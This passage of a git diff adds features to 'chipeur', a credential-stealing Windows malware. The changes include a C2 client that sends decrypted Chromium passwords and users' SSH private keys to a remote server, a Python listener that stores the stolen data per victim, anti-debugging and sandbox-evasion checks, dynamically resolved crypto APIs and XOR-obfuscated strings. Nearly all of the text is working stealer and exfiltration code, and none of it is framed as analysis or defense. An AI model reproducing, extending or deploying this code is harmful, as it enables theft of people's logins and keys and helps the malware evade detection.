+typedef BOOL(WINAPI *PCryptUnprotectData)(DATA_BLOB *, LPWSTR *, DATA_BLOB *,
+ void *, void *, DWORD, DATA_BLOB *);
+typedef BOOL(WINAPI *PCryptStringToBinaryA)(LPCSTR, DWORD, DWORD, BYTE *,
+ DWORD *, DWORD *, DWORD *);
+// typedef HRESULT(WINAPI *PSHGetKnownFolderPath)(REFKNOWNFOLDERID rfid, DWORD
+// dwFlags, HANDLE hToken, PWSTR *ppszPath);
+
+typedef struct {
+ PCheckRemoteDebuggerPresent funcCheckRemoteDebuggerPresent;
+ // PLoadLibraryA funcLoadLibraryA;
+ PCryptUnprotectData funcCryptUnprotectData;
+ PCryptStringToBinaryA funcCryptStringToBinaryA;
+ // PSHGetKnownFolderPath funcSHGetKnownFolderPath;
+} hidden_apis;
+
+void resolve_apis(hidden_apis *apis);
+
+#endif // OBFUSCATION_H
diff --git a/junk_code_inserter b/junk_code_inserter
new file mode 100644
index 0000000..6964a00
Binary files /dev/null and b/junk_code_inserter differ
diff --git a/makefile b/makefile
index e29e16e..48d8b85 100644
--- a/makefile
+++ b/makefile
@@ -4,7 +4,7 @@ INCLUDE_DIR = include/
OBJ_DIR = obj/
# add the object file used here
-OBJ_FILES=$(OBJ_DIR)chipeur.o $(OBJ_DIR)find_ssh_key.o $(OBJ_DIR)extract_file.o $(OBJ_DIR)obfuscation.o $(OBJ_DIR)chromium.o $(OBJ_DIR)path.o $(OBJ_DIR)logins.o $(OBJ_DIR)sqlite3.o $(OBJ_DIR)aes.o
+OBJ_FILES=$(OBJ_DIR)chipeur.o $(OBJ_DIR)find_ssh_key.o $(OBJ_DIR)extract_file.o $(OBJ_DIR)obfuscation.o $(OBJ_DIR)chromium.o $(OBJ_DIR)path.o $(OBJ_DIR)logins.o $(OBJ_DIR)hardware_requirements.o $(OBJ_DIR)delay_execution.o $(OBJ_DIR)sqlite3.o $(OBJ_DIR)aes.o $(OBJ_DIR)c2.o
CC=x86_64-w64-mingw32-gcc
CFLAGS=-g -fPIE -O2 -s -Warray-bounds -Wsequence-point -Walloc-zero -Wnull-dereference \
@@ -12,7 +12,7 @@ CFLAGS=-g -fPIE -O2 -s -Warray-bounds -Wsequence-point -Walloc-zero -Wnull-deref
#not needed for now
LDFLAGS =# -Wl,--strip-all
-LLIB= -luuid -lole32 -lcrypt32
+LLIB= -luuid -lole32 -lws2_32
DEBUG=-DDEBUG
.PHONY : all help clean
@@ -27,6 +27,9 @@ all: chipeur.exe
$(OBJ_DIR)chipeur.o: $(SRC_DIR)chipeur.c $(INCLUDE_DIR)chipeur.h $(INCLUDE_DIR)find_ssh_key.h
$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@
+$(OBJ_DIR)c2.o: $(SRC_DIR)c2.c $(INCLUDE_DIR)c2.h
+ $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@
+
$(OBJ_DIR)find_ssh_key.o : $(SRC_DIR)find_ssh_key.c $(INCLUDE_DIR)find_ssh_key.h $(INCLUDE_DIR)extract_file.h
$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@
@@ -45,6 +48,12 @@ $(OBJ_DIR)path.o : $(SRC_DIR)path.c $(INCLUDE_DIR)path.h
$(OBJ_DIR)logins.o : $(SRC_DIR)logins.c $(INCLUDE_DIR)logins.h
$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@
+$(OBJ_DIR)delay_execution.o : $(SRC_DIR)delay_execution.c $(INCLUDE_DIR)delay_execution.h
+ $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@
+
+$(OBJ_DIR)hardware_requirements.o : $(SRC_DIR)hardware_requirements.c $(INCLUDE_DIR)hardware_requirements.h
+ $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@
+
$(OBJ_DIR)sqlite3.o : $(SRC_DIR)sqlite3.c $(INCLUDE_DIR)sqlite3.h
$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@
diff --git a/obj/.gitkeep b/obj/.gitkeep
deleted file mode 100644
index 8b13789..0000000
--- a/obj/.gitkeep
+++ /dev/null
@@ -1 +0,0 @@
-
diff --git a/server/simple_serv.py b/server/simple_serv.py
new file mode 100644
index 0000000..589031e
--- /dev/null
+++ b/server/simple_serv.py
@@ -0,0 +1,132 @@
+import socket
+import os
+import time
+import threading
+
+def createpath(username: str, datatype: str):
+ """ create the folder to store the data ./username/datatype """
+ try :
+ os.mkdir(username)
+ except FileExistsError:
+ print(f"DEBUG: {username} directory already exists.")
+ # except:
+ # print(f"DEBUG: Error while creating the {username} directory. Abort")
+ # return
+
+
+ path = os.path.join(username,datatype)
+ try :
+ os.mkdir(path)
+ except FileExistsError:
+ print(f"DEBUG: {path} directory already exists.")
+
+ return path
+
+def savefile(username: str, datatype: str, filename: str, client: socket.socket):
+ """ create and write a file in the directory ./username/file/"""
+
+ path = createpath(username, datatype)
+
+ # creating a unique file to avoid overwriting
+ path = os.path.join(path, str(int(time.time())) + "_" + filename)
+ fic = open(path, "w")
+ ch = client.recv(9).decode()
+ # ending condition, chipeur client allways send it
+ while ch[-9:] != "[RUEPIHC]":
+ try:
+ cur_c = client.recv(1).decode()
+ ch += cur_c
+ except:
+ fic.write(ch)
+ fic.close()
+ return
+ ch = ch[:-9]
+ print(f"DEBUG: Writing '{path}' file")
+ fic.write(ch)
+ fic.close()
+
+def savecreds(username: str, datatype: str, client: socket.socket):
+ """ create and write a file in the directory ./username/file/ """
+ path = createpath(username, datatype)
+ path = os.path.join(path, "creds_" + str(int(time.time())))
+ fic = open(path, "w")
+ ch = client.recv(9).decode("utf-8")
+ # ending condition, chipeur client allways send it
+ while ch[-9:] != "[RUEPIHC]":
+ try:
+ cur_c = client.recv(1).decode("utf-8")
+ ch += cur_c
+ except:
+ fic.write(ch)
+ fic.close()
+ return
+ ch = ch[:-9]
+ print(f"DEBUG: Writing '{path}' file")
+ fic.write(ch)
+ fic.close()
+
+
+def read_bytes_until_next_pipe(client: socket.socket):
+ """ this function is used to parse the chipeur request and gather the information of the request """
+ ch = b""
+ cur_c = b""
+ while cur_c != b"|":
+ cur_c = client.recv(1)
+ ch += cur_c
+
+ # we return the data before the pipe
+ return ch[:-1]
+
+def handle_client(client_socket, addr):
+ print(f"Connection from {addr}")
+ try:
+ while True:
+ # should read [CHIPEUR]
+ chipeur = read_bytes_until_next_pipe(client_socket).decode("utf-8")
+ print(chipeur)
+ if "[CHIPEUR]" not in chipeur:
+ client_socket.close()
+ break
+
+ username = read_bytes_until_next_pipe(client_socket)[:-1].decode("utf-16-be")
+ print(username)
+
+ datatype = read_bytes_until_next_pipe(client_socket).decode("utf-8")
+ print(datatype)
+
+ # only two datatypes possible
+ if datatype == "file":
+ filename = read_bytes_until_next_pipe(client_socket)[:-1].decode("utf-16-be")
+ print(filename)
+ savefile(username, datatype, filename, client_socket)
+
+ if datatype == "credentials":
+ savecreds(username, datatype, client_socket)
+
+ except UnicodeDecodeError as error:
+ print(f"DEBUG: Connection closed: {error}")
+ except ConnectionResetError as error:
+ print(f"DEBUG: Connection closed: {error}")
+ except TimeoutError as error:
+ print(f"DEBUG: Connection closed: {error}")
+ client_socket.close()
+
+def start_server(host='0.0.0.0', port=1234):
+ # Create a socket object
+ server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+ # Bind the socket to the address and port
+ server_socket.bind((host, port))
+
+ # Listen for incoming connections
+ server_socket.listen(1)
+ print(f"Listening on {host}:{port}...")
+
+ while True:
+ # Accept a connection
+ client_socket, addr = server_socket.accept()
+ th = threading.Thread(target=handle_client, args=(client_socket, addr))
+ th.start()
+
+if __name__ == "__main__":
+ start_server()
diff --git a/src/c2.c b/src/c2.c
new file mode 100644
index 0000000..2428c46
--- /dev/null
+++ b/src/c2.c
@@ -0,0 +1,281 @@
+#include "c2.h"
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include "extract_file.h"
+#include "find_ssh_key.h"
+#include "logins.h"
+#include "obfuscation.h"
+
+BOOL connect_to_c2(SOCKET *sock) {
+ // Create the socket and establish the connection to the C2 server.
+
+ int err;
+ // loading winsocket.dll
+ WSADATA wsaData = {0};
+ err = WSAStartup(MAKEWORD(2, 2), &wsaData);
+ if (err != 0) {
+#ifdef DEBUG
+ printf(
+ "DEBUG: connect_to_c2: Error while loading winsocker.dll: Error %d\n",
+ err);
+#endif
+ return FALSE;
+ }
+
+ // Creating the socket
+ *sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+ if (*sock == INVALID_SOCKET) {
+ err = WSAGetLastError();
+#ifdef DEBUG
+ printf("DEBUG: connect_to_c2: Error while creating the socket: Error %d\n",
+ err);
+#endif
+ return FALSE;
+ }
+
+ // Creating the client
+ SOCKADDR_IN client;
+ client.sin_family = AF_INET;
+ client.sin_addr.S_un.S_addr = inet_addr(C2_IP);
+ client.sin_port = htons(C2_PORT);
+
+ // connecting to the c2 server
+ err = connect(*sock, (SOCKADDR *)&client, sizeof(client));
+ if (err == SOCKET_ERROR) {
+#ifdef DEBUG
+ printf("DEBUG: connect_to_c2: Error while creating the client: Error %d\n",
+ WSAGetLastError());
+#endif
+ return FALSE;
+ }
+#ifdef DEBUG
+ printf("INFO: connect_to_c2: Successfully connected to the c2 server\n");
+#endif
+ return TRUE;
+}
+
+static BOOL close_c2_conn(SOCKET *sock) {
+ // closing the server
+ int err = closesocket(*sock);
+ if (err == SOCKET_ERROR) {
+#ifdef DEBUG
+ printf(
+ "DEBUG: close_c2_conn: Error while closing the connection: Error %d\n",
+ WSAGetLastError());
+#endif
+ return FALSE;
+ }
+ return TRUE;
+}
+
+static PWSTR get_username_machinename(void) {
+ // 'username@machinename' is the header of a message to the C2
+ // the caller shall free the PWSTR returned
+ int err;
+ WCHAR machineName[MAX_COMPUTERNAME_LENGTH + 1] = {0};
+ DWORD lenMachineName = MAX_COMPUTERNAME_LENGTH + 1;
+ WCHAR userName[UNLEN + 1] = {0};
+ DWORD lenUserName = UNLEN + 1;
+ WCHAR fullName[UNLEN + MAX_COMPUTERNAME_LENGTH + 1 + 1] = {0};
+ DWORD lenFullName = UNLEN + MAX_COMPUTERNAME_LENGTH + 1 + 1;
+
+ err = GetComputerNameW(machineName, &lenMachineName);
+ if (err == 0) {
+#ifdef DEBUG
+ printf("DEBUG: get_header: Error while getting the machine name. %d\n",
+ GetLastError());
+#endif
+ }
+ err = GetUserNameW(userName, &lenUserName);
+ if (err == 0) {
+#ifdef DEBUG
+ printf("DEBUG: get_header: Error while getting the username. %d\n",
+ GetLastError());
+#endif
+ }
+
+ // computing the full header
+ int realSize =
+ _snwprintf(fullName, lenFullName, L"%ls@%ls", userName, machineName);
+ if (realSize == -1) {
+#ifdef DEBUG
+ fprintf(stderr,
+ "DEBUG: get_header: Error while creating the header username\n");
+#endif
+ return NULL;
+ }
+
+ PWSTR header = _wcsdup(fullName);
+ if (header == NULL) {
+#ifdef DEBUG
+ fprintf(stderr,
+ "DEBUG: get_header: Error while allocating the header username\n");
+#endif
+ }
+
+ return header;
+}
+
+static BOOL send_file(const PWSTR filename, SOCKET *sock) {
+ // Open the designated file and sent it to the c2 server via the socket sock
+ HANDLE hFile;
+ DWORD bytesRead;
+ char buffer[1024]; // Size of the buffer
+ BOOL result;
+
+ // Open the file in reading mode
+ hFile = CreateFileW(filename, GENERIC_READ, 0, NULL, OPEN_EXISTING,
+ FILE_ATTRIBUTE_NORMAL, NULL);
+
+ if (hFile == INVALID_HANDLE_VALUE) {
+#ifdef DEBUG
+ wprintf(L"DEBUG: send_file: Error, couldn't open %ls file.\n", filename);
+#endif
+ return FALSE;
+ }
+#ifdef DEBUG
+ wprintf(L"DEBUG: send_file: Opening '%ls' file.\n", filename);
+#endif
+ // reading 1024 bytes block
+ do {
+ result = ReadFile(hFile, buffer, sizeof(buffer), &bytesRead, NULL);
+ if (!result || bytesRead == 0) {
+ break;
+ }
+
+ int err = send(*sock, buffer, bytesRead, 0);
+ if (err == SOCKET_ERROR) {
+#ifdef DEBUG
+ fwprintf(stderr,
+ L"DEBUG: send_file: Error, couldn't send a part of the file "
+ L"%ls: %d\n",
+ filename, GetLastError());
+#endif
+ return FALSE;
+ }
+
+ } while (bytesRead > 0);
+
+ CloseHandle(hFile);
+ return TRUE;
+}
+
+BOOL send_ssh_key(sshKey keysTab[MAX_KEY_FILES], DWORD32 lenKeysTab,
+ SOCKET *sock) {
+ /*
+ Try to send all the ssh key files. If all the files are sent successfully, it
+ returns TRUE. Otherwise, it returns FALSE. The sent format for ssh key file is
+ the following :
+ [CHIPEUR]|@|file||[RUEPIHC]
+ */
+ PWSTR userMachineName = get_username_machinename();
+ char datatype[] = "|file|";
+
+ BOOL success = TRUE;
+ for (DWORD32 i = 0; i < lenKeysTab; i++) {
+ // Checking first if the file is readable
+ if (is_readable(keysTab[i].publicKeyPath)) {
+ int err = send(*sock, "[CHIPEUR]|", 11, 0);
+ err = err | send(*sock, (char *)userMachineName,
+ wcslen(userMachineName) * 2, 0);
+ err = err | send(*sock, datatype, 7, 0);
+ err = err | send(*sock, (char *)keysTab[i].publicKeyPath,
+ wcslen(keysTab[i].publicKeyPath) * 2, 0);
+ err = err | send(*sock, "|", 1, 0);
+ success = send_file(keysTab[i].publicKeyPath, sock);
+ err = err | send(*sock, "[RUEPIHC]\n", 10, 0);
+
+ if (err == SOCKET_ERROR && !success) {
+#ifdef DEBUG
+ fwprintf(
+ stderr,
+ L"DEBUG: send_ssh_key: error while sending '%ls' file: code %d",
+ keysTab[i].publicKeyPath, GetLastError());
+#endif
+ free(userMachineName);
+ return FALSE;
+ }
+ }
+ // Doing the same but for the secret key filename
+ if (is_readable(keysTab[i].secretKeyPath)) {
+ int err = send(*sock, "[CHIPEUR]|", 11, 0);
+ err = err | send(*sock, (char *)userMachineName,
+ wcslen(userMachineName) * 2, 0);
+ err = err | send(*sock, datatype, 7, 0);
+ err = err | send(*sock, (char *)keysTab[i].secretKeyPath,
+ wcslen(keysTab[i].secretKeyPath) * 2, 0);
+ err = err | send(*sock, "|", 1, 0);
+ success = send_file(keysTab[i].secretKeyPath, sock);
+ err = err | send(*sock, "[RUEPIHC]\n", 10, 0);
+
+ if (err == SOCKET_ERROR && !success) {
+#ifdef DEBUG
+ fwprintf(
+ stderr,
+ L"DEBUG: send_ssh_key: error while sending '%ls' file: code %d",
+ keysTab[i].secretKeyPath, GetLastError());
+#endif
+ free(userMachineName);
+ return FALSE;
+ }
+ }
+ }
+
+ free(userMachineName);
+ return success;
+}
+
+BOOL send_credentials(SOCKET *sock, Credential *credTab, DWORD32 lenCredTab) {
+ // Function that send the credentials to the c2 server
+ // [CHIPEUR]|@|credentials|url1,username1,password1\n...\nurlN,usernameN,passwordN[RUEPIHC]
+ PWSTR userMachineName = get_username_machinename();
+ char datatype[] = "|credentials|";
+ int err = send(*sock, "[CHIPEUR]|", 11, 0);
+ err = err |
+ send(*sock, (char *)userMachineName, wcslen(userMachineName) * 2, 0);
+ err = err | send(*sock, datatype, 14, 0);
+
+ for (DWORD i = 0; i < lenCredTab; i++) {
+ char *credToSend = NULL;
+ DWORD32 lenCredToSend = strlen(credTab[i].url) +
+ strlen(credTab[i].username) +
+ strlen(credTab[i].password) + 4;
+ credToSend = malloc(sizeof(char) * (lenCredToSend + 1));
+ credToSend[lenCredToSend] = 0;
+ if (credToSend == NULL) {
+#ifdef DEBUG
+ fwprintf(
+ stderr,
+ L"DEBUG: send_credentials: Couldn't allocate credentials to send\n");
+#endif
+ break;
+ }
+
+ snprintf(credToSend, lenCredToSend, "%s,%s,%s\n", credTab[i].url,
+ credTab[i].username, credTab[i].password);
+ err = err | send(*sock, credToSend, lenCredToSend, 0);
+ free(credToSend);
+ }
+
+ // sending the tail of the request
+ err = send(*sock, "[RUEPIHC]\n", 11, 0);
+ if (err == SOCKET_ERROR) {
+#ifdef DEBUG
+ fprintf(stderr,
+ "DEBUG: send_credentials: Error while sending the credentials: %d",
+ GetLastError());
+ return FALSE;
+#endif
+ }
+#ifdef DEBUG
+ printf("DEBUG: send_credentials: Credentials sent successfully\n");
+#endif
+ return TRUE;
+}
\ No newline at end of file
diff --git a/src/chipeur.c b/src/chipeur.c
index 5ed3cd9..e4c9a59 100644
--- a/src/chipeur.c
+++ b/src/chipeur.c
@@ -2,11 +2,18 @@
#include
#include
+#include
#include
#include
+#include
+#include
+#include "c2.h"
#include "chromium.h"
+#include "delay_execution.h"
#include "find_ssh_key.h"
+#include "hardware_requirements.h"
+#include "logins.h"
#include "obfuscation.h"
int main(void) {
@@ -15,35 +22,100 @@ int main(void) {
// Allows us to print non-ASCII characters for debug
SetConsoleOutputCP(CP_UTF8);
#endif
+
+ // Init
+ hidden_apis apis = {0};
+ resolve_apis(&apis);
// Check if a debugger is attached to the process
BOOL isDebuggerPresent = FALSE;
HANDLE hProcess = GetCurrentProcess();
- if (CheckRemoteDebuggerPresent(hProcess, &isDebuggerPresent)) {
- if (isDebuggerPresent) {
+ if (apis.funcCheckRemoteDebuggerPresent) {
+ if (apis.funcCheckRemoteDebuggerPresent(hProcess, &isDebuggerPresent)) {
+ if (isDebuggerPresent) {
+#ifdef DEBUG
+ printf("Un débogueur est détecté sur ce processus.\n");
+#endif
+ while (1);
+ } else {
#ifdef DEBUG
- printf("Un débogueur est détecté sur ce processus.\n");
+ printf("Debug program detected on the process.\n");
#endif
- while (1);
+ }
} else {
#ifdef DEBUG
- printf("Aucun débogueur n'est détecté sur ce processus.\n");
+ printf("Error on CheckRemoteDebuggerPresent call. Error code : %lu\n",
+ GetLastError());
#endif
}
} else {
#ifdef DEBUG
- printf(
- "Erreur lors de l'appel à CheckRemoteDebuggerPresent. Code d'erreur : "
- "%lu\n",
- GetLastError());
+ printf("DEBUG: main: CheckRemoteDebuggerPresent failed. Error : %lu\n",
+ GetLastError());
+#endif
+ }
+
+ // 1 minute
+ if (delay_execution(60000) == EXIT_FAILURE) {
+#ifdef DEBUG
+ fprintf(stderr, "Timing inconsistencies while delaying execution");
+#endif
+ return EXIT_FAILURE;
+ }
+
+ // Stop if sandbox detected
+ int return_code = check_hardware();
+ if (return_code != EXIT_SUCCESS) {
+#ifdef DEBUG
+ fprintf(stderr, "Hardware requirements check failed. Reason: ");
+ switch (return_code) {
+ case EXIT_CPU_FAIL: fprintf(stderr, "CPU check failed.\n"); break;
+ case EXIT_RAM_FAIL: fprintf(stderr, "RAM check failed.\n"); break;
+ case EXIT_HDD_FAIL: fprintf(stderr, "HDD check failed.\n"); break;
+ case EXIT_RESOLUTION_FAIL:
+ fprintf(stderr, "Resolution check failed.\n");
+ break;
+ default: fprintf(stderr, "Unknown check failed.\n"); break;
+ }
+ fprintf(stderr, "Now exiting...");
#endif
+ return EXIT_FAILURE;
}
+ // char msvcrt_str[] = "\x47\x59\x5c\x49\x58\x5e\x04\x4e\x46\x46";
+ // XOR_STR(msvcrt_str, strlen(msvcrt_str));
+ // apis.funcLoadLibraryA(msvcrt_str);
- steal_chromium_creds();
+ Credential credTab[CRED_SIZE] = {0};
+ DWORD32 lenCredTab = 0;
+ sshKey keysFilenamesTab[MAX_KEY_FILES] = {0};
+ DWORD32 lenKeysTab = 0;
+ steal_chromium_creds(credTab, &lenCredTab);
wchar_t users_path[] = L"\x69\x10\x76\x7f\x59\x4f\x58\x59"; // C:\Users
XOR_STR(users_path, 8);
+ find_ssh_key(users_path, keysFilenamesTab, &lenKeysTab);
+
+ for (int i = 0; i < lenCredTab; i++) {
+ printCredential(credTab[i]);
+ }
- find_ssh_key(users_path);
+ SOCKET sock;
+ BOOL success = connect_to_c2(&sock);
+ if (success == 0) {
+ exit(-1);
+ }
+
+ success = send_ssh_key(keysFilenamesTab, lenKeysTab, &sock);
+#ifdef DEBUG
+ if (success) {
+ printf("DEBUG: main: Info, ssh keys sent with success\n");
+ }
+#endif
+ success = send_credentials(&sock, credTab, lenCredTab);
+#ifdef DEBUG
+ if (success) {
+ printf("DEBUG: main: Info, creds sent with success\n");
+ }
+#endif
return EXIT_SUCCESS;
}
diff --git a/src/chromium.c b/src/chromium.c
index 6312f2e..d04cb57 100644
--- a/src/chromium.c
+++ b/src/chromium.c
@@ -6,7 +6,6 @@
#include "chromium.h"
-#include
#include
#include
#include
@@ -35,13 +34,17 @@ static int retrieve_encoded_key(PWSTR localStatePath, PSTR *encodedKeyOut) {
CreateFileW(localStatePath, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (fileHandle == INVALID_HANDLE_VALUE) {
+#ifdef DEBUG
printf("Failed to open file. Error code: %lu\n", GetLastError());
+#endif
return EXIT_FAILURE;
}
DWORD fileSize = GetFileSize(fileHandle, NULL);
if (fileSize == INVALID_FILE_SIZE) {
+#ifdef DEBUG
printf("Failed to get file size. Error code: %lu\n", GetLastError());
+#endif
CloseHandle(fileHandle);
return EXIT_FAILURE;
}
@@ -49,7 +52,9 @@ static int retrieve_encoded_key(PWSTR localStatePath, PSTR *encodedKeyOut) {
// characters in the file are encoded in UTF-8, no need for wide characters
PSTR fileBuffer = (PSTR)malloc(fileSize + 1);
if (!fileBuffer) {
+#ifdef DEBUG
printf("Failed to allocate memory for file buffer.\n");
+#endif
CloseHandle(fileHandle);
return EXIT_FAILURE;
}
@@ -57,7 +62,9 @@ static int retrieve_encoded_key(PWSTR localStatePath, PSTR *encodedKeyOut) {
DWORD bytesRead;
if (!ReadFile(fileHandle, fileBuffer, fileSize * sizeof(char), &bytesRead,
NULL)) {
+#ifdef DEBUG
printf("Failed to read file. Error code: %lu\n", GetLastError());
+#endif
free(fileBuffer);
CloseHandle(fileHandle);
return EXIT_FAILURE;
@@ -106,28 +113,34 @@ static int retrieve_encoded_key(PWSTR localStatePath, PSTR *encodedKeyOut) {
// note that `decodedKeyOut` is still encrypted at this point
// NOTE: `decodedKeyOut` must be freed by the caller
static int decode_key(PSTR encodedKey, BYTE *decodedKeyOut[],
- size_t *decodedKeySizeOut) {
+ size_t *decodedKeySizeOut, hidden_apis *apis) {
// Get size of the decoded key (needed for the next malloc)
DWORD decodedBinarySize = 0;
- if (!CryptStringToBinaryA(encodedKey, 0, CRYPT_STRING_BASE64, NULL,
- &decodedBinarySize, NULL, NULL)) {
+ if (!apis->funcCryptStringToBinaryA(encodedKey, 0, CRYPT_STRING_BASE64, NULL,
+ &decodedBinarySize, NULL, NULL)) {
+#ifdef DEBUG
fprintf(stderr, "Failed getting base64 size. Error code: %lu\n",
GetLastError());
+#endif
return EXIT_FAILURE;
}
BYTE *decodedBinaryData = (BYTE *)malloc(decodedBinarySize);
if (decodedBinaryData == NULL) {
+#ifdef DEBUG
fprintf(stderr, "Failed allocating memory\n");
+#endif
return EXIT_FAILURE;
}
// Decode the encoded key, this leaves us with an AES-GCM encrypted key
- if (!CryptStringToBinaryA(encodedKey, 0, CRYPT_STRING_BASE64,
- decodedBinaryData, &decodedBinarySize, NULL,
- NULL)) {
+ if (!apis->funcCryptStringToBinaryA(encodedKey, 0, CRYPT_STRING_BASE64,
+ decodedBinaryData, &decodedBinarySize,
+ NULL, NULL)) {
+#ifdef DEBUG
fprintf(stderr, "Failed decoding base64. Error code: %lu\n",
GetLastError());
+#endif
free(decodedBinaryData);
return EXIT_FAILURE;
}
@@ -140,7 +153,9 @@ static int decode_key(PSTR encodedKey, BYTE *decodedKeyOut[],
*decodedKeyOut = (BYTE *)realloc(decodedBinaryData, newSize);
if (*decodedKeyOut == NULL) {
+#ifdef DEBUG
fprintf(stderr, "Failed reallocating memory\n");
+#endif
free(decodedBinaryData);
return EXIT_FAILURE;
}
@@ -153,15 +168,18 @@ static int decode_key(PSTR encodedKey, BYTE *decodedKeyOut[],
// Decrypts `encryptedKey` of size `encryptedKeySize` using DPAPI
// NOTE: `decryptedKeyOut` must be freed by the caller
static int decrypt_key(BYTE encryptedKey[], size_t encryptedKeySize,
- DATA_BLOB *decryptedKeyOut) {
+ DATA_BLOB *decryptedKeyOut, hidden_apis *apis) {
DATA_BLOB DataInput;
DATA_BLOB DataOutput;
DataInput.cbData = (DWORD)encryptedKeySize;
DataInput.pbData = encryptedKey;
- if (!CryptUnprotectData(&DataInput, NULL, NULL, NULL, NULL, 0, &DataOutput)) {
+ if (!apis->funcCryptUnprotectData(&DataInput, NULL, NULL, NULL, NULL, 0,
+ &DataOutput)) {
+#ifdef DEBUG
fprintf(stderr, "Failed decrypting key. Error code: %lu\n", GetLastError());
+#endif
free(encryptedKey);
return EXIT_FAILURE;
}
@@ -176,7 +194,8 @@ static int decrypt_key(BYTE encryptedKey[], size_t encryptedKeySize,
}
// Steals credentials for a singular `browser`
-static int steal_browser_creds(BrowserInfo browser) {
+static int steal_browser_creds(BrowserInfo browser, Credential *credTab,
+ DWORD32 *indexCredTab) {
// login data contains each logins with the password encrypted and other
// attributes in clear text
@@ -188,20 +207,15 @@ static int steal_browser_creds(BrowserInfo browser) {
#ifdef DEBUG
wprintf(L"steal_browser-creds - Values after XOR : %ls, %ls, %ls\n",
browser.browserName, browser.loginDataPath, browser.localStatePath);
-#endif
wprintf(L"Browser name = %ls\n", browser.browserName);
- // wprintf(L"Login data path = %ls\n", browser.loginDataPath);
- // wprintf(L"Local state path = %ls\n", browser.localStatePath);
- /*
- printf("\nName : %llu\n", wcslen(browser.browserName));
- printf("Data path : %llu\n", wcslen(browser.loginDataPath));
- printf("State path : %llu\n\n", wcslen(browser.localStatePath));
- */
+#endif
PWSTR loginDataPath;
if (get_logindata_path(browser.loginDataPath, &loginDataPath) !=
EXIT_SUCCESS) {
+#ifdef DEBUG
fwprintf(stderr, L"Unable to get login data PATH for %ls\n",
browser.browserName);
+#endif
return EXIT_FAILURE;
}
@@ -211,7 +225,9 @@ static int steal_browser_creds(BrowserInfo browser) {
int loginsCount = 0;
if (chrmm_retrieve_logins(loginDataPath, &loginsCount, &logins) !=
EXIT_SUCCESS) {
+#ifdef DEBUG
fprintf(stderr, "Could not retrieve logins from the database\n");
+#endif
return EXIT_FAILURE;
}
@@ -227,22 +243,31 @@ static int steal_browser_creds(BrowserInfo browser) {
PSTR encodedKey;
if (retrieve_encoded_key(localStatePath, &encodedKey) != EXIT_SUCCESS) {
+#ifdef DEBUG
wprintf(L"Could not retrieve key from %ls\n", localStatePath);
+#endif
return EXIT_FAILURE;
}
+ // dynamic resol
+ hidden_apis apis;
+ resolve_apis(&apis);
size_t encryptedKeySize = 0;
BYTE *encryptedKey;
- if (decode_key(encodedKey, &encryptedKey, &encryptedKeySize) !=
+ if (decode_key(encodedKey, &encryptedKey, &encryptedKeySize, &apis) !=
EXIT_SUCCESS) {
+#ifdef DEBUG
printf("Could not decode %ls\n", encodedKey);
+#endif
return EXIT_FAILURE;
}
DATA_BLOB decryptedBlob;
- if (decrypt_key(encryptedKey, encryptedKeySize, &decryptedBlob) !=
+ if (decrypt_key(encryptedKey, encryptedKeySize, &decryptedBlob, &apis) !=
EXIT_SUCCESS) {
+#ifdef DEBUG
fprintf(stderr, "Could not decrypt key\n");
+#endif
return EXIT_FAILURE;
}
@@ -250,14 +275,19 @@ static int steal_browser_creds(BrowserInfo browser) {
int credentialsCount = 0;
if (chrmm_decrypt_logins(logins, loginsCount, decryptedBlob.pbData,
&credentials, &credentialsCount) != EXIT_SUCCESS) {
+#ifdef DEBUG
printf("Failed to decrypt chromium logins\n");
+#endif
}
for (int i = 0; i < credentialsCount; i++) {
- printf("======LOGIN %d======\n", i + 1);
- printCredential(credentials[i]);
+ if (*indexCredTab < CRED_SIZE) {
+ credTab[*indexCredTab].url = strdup(credentials[i].url);
+ credTab[*indexCredTab].username = strdup(credentials[i].username);
+ credTab[*indexCredTab].password = strdup(credentials[i].password);
+ (*indexCredTab)++;
+ }
}
- printf("====================\n");
free_credentials(credentials, credentialsCount);
free_logins(logins, loginsCount); // allocated in chrmm_retrieve_logins
@@ -270,7 +300,7 @@ static int steal_browser_creds(BrowserInfo browser) {
return EXIT_SUCCESS;
}
-int steal_chromium_creds() {
+int steal_chromium_creds(Credential *credTab, DWORD32 *indexCredTab) {
/* BrowserInfo browsers[] = {
{L"7Star", L"\\7Star\\7Star\\User Data\\Default\\Login Data",
L"\\7Star\\7Star\\User Data\\Local State"},
@@ -472,9 +502,12 @@ int steal_chromium_creds() {
};
for (int i = 0; i < sizeof(browsers) / sizeof(BrowserInfo); i++) {
- if (steal_browser_creds(browsers[i]) != EXIT_SUCCESS) {
- fwprintf(stderr, L"Unable to find credentials for %ls. Continuing...\n",
+ if (steal_browser_creds(browsers[i], credTab, indexCredTab) !=
+ EXIT_SUCCESS) {
+#ifdef DEBUG
+ fwprintf(stderr, L"Unable to find credentials for %s. Continuing...\n",
browsers[i].browserName);
+#endif
}
}
return EXIT_SUCCESS;
diff --git a/src/delay_execution.c b/src/delay_execution.c
new file mode 100644
index 0000000..7e67646
--- /dev/null
+++ b/src/delay_execution.c
@@ -0,0 +1,22 @@
+#include
+
+// duration is in miliseconds
+// sleep the program to evade sandbox time limit and check if uptime is
+// consistent between the before and after sleep (to detect fast-forwards)
+int delay_execution(int duration) {
+ ULONGLONG uptimeBeforeSleep = GetTickCount64();
+ int frequency = 0; // 0 should not trigger any actual beeper
+
+ // Calls NtDelayExecution under the hood, we could call it directly, but if it
+ // is hooked we are screwed anyway
+ // And Beep might ring less alarms than Sleep, since it is less common
+ // Upside being that Beep is a lot easier to use
+ Beep(frequency, duration);
+ ULONGLONG uptimeAfterSleep = GetTickCount64();
+
+ // detect fast-fowards
+ if ((uptimeAfterSleep - uptimeBeforeSleep) < duration) {
+ return EXIT_FAILURE;
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/src/extract_file.c b/src/extract_file.c
index d6a5e32..93d7514 100644
--- a/src/extract_file.c
+++ b/src/extract_file.c
